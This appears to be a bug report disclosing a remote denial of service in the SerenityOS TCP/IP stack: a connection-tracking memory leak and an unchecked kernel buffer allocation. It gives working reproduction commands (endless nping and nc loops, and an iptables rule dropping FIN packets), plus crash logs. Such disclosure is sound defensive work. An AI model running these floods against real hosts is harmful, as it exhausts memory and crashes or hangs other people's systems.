The TCP/IP implementation suffers from a memory leak that makes it vulnerable to a denial-of-service from a remote attacker.
The first issue is more of a design flaw: TCP connections only expire when they enter the state State::Closed
. An attacker can abuse this by initiating a lot of connections but never closing them. SerenityOS will track them forever and leak memory. Eventually memory is exhausted and programs start crashing on failed allocations.
Steps to reproduce:
nping
:# while true; do nping -c1 --no-capture --tcp -p 8000 10.0.2.15 ; done
On my machine it takes about 20 seconds before memory is exhausted and applications start crashing:
[CrashDaemon(20:20)]: MM: Purge saved the day! Purged 16 pages from AnonymousVMObject{0xc04cf7a0}
USERSPACE(20) ASSERTION FAILED: ptr != MAP_FAILED
../Userland/Libraries/LibC/malloc.cpp:158
[CrashDaemon(20:20)]: 0x00000000 (?)
In the sample above applications crash, but the system keeps (somewhat) running. By forcing a failed allocation in the kernel an attacker can completely hang the system. One way to do so is with the scratch buffer that is created for IPv4 sockets:
m_buffer_mode = type == SOCK_STREAM ? BufferMode::Bytes : BufferMode::Packets;
if (m_buffer_mode == BufferMode::Bytes) {
m_scratch_buffer = KBuffer::create_with_size(65536);
}
The code doesn't check the return value. Just before writing there it does assert
the size and this hangs the kernel.
Steps to reproduce:
From a second machine:
# sudo iptables -A OUTPUT -p tcp --tcp-flags FIN FIN -d 10.0.2.15 -j DROP
Now generate TCP packets with some data in them:
# while true ; do echo "AAAA" | nc 10.0.2.15 8000 ; done
And the kernel will exit on the failed assertion:
[NetworkTask(6:6)]: payload_size 5, will it fit in 0?
[NetworkTask(6:6)]: ASSERTION FAILED: buffer_size >= payload_size
../Kernel/Net/TCPSocket.cpp:185 in virtual Kernel::KResultOr<long unsigned int> Kernel::TCPSocket::protocol_receive(AK::ReadonlyBytes, Kernel::UserOrKernelBuffer&, size_t, int)
[NetworkTask(6:6)]: 0xc01192c6 __assertion_failed(char const*, char const*, unsigned int, char const*) +0xe2
[NetworkTask(6:6)]: 0xc0176210 Kernel::TCPSocket::protocol_receive(AK::Span<unsigned char const>, Kernel::UserOrKernelBuffer&, unsigned long, int) +0xe4
[NetworkTask(6:6)]: 0xc0169767 Kernel::IPv4Socket::did_receive(AK::IPv4Address const&, unsigned short, Kernel::KBuffer&&, timeval const&) +0x18d
[NetworkTask(6:6)]: 0xc01705fe .L537 +0x1aa
[NetworkTask(6:6)]: 0xc0170b16 Kernel::NetworkTask_main(void*) +0x311
[NetworkTask(6:6)]: 0xc01192fa exit_kernel_thread +0x0
In one of your vlogs you indicated there are many local denial-of-service issues, and that this is somewhat accepted. But when they can be triggered remotely I think they should be fixed.
Some possible solutions:
Pay now to fund the work behind this issue.
Get updates on progress being made.
Maintainer is rewarded once the issue is completed.
You're funding impactful open source efforts
You want to contribute to this effort
You want to get funding like this too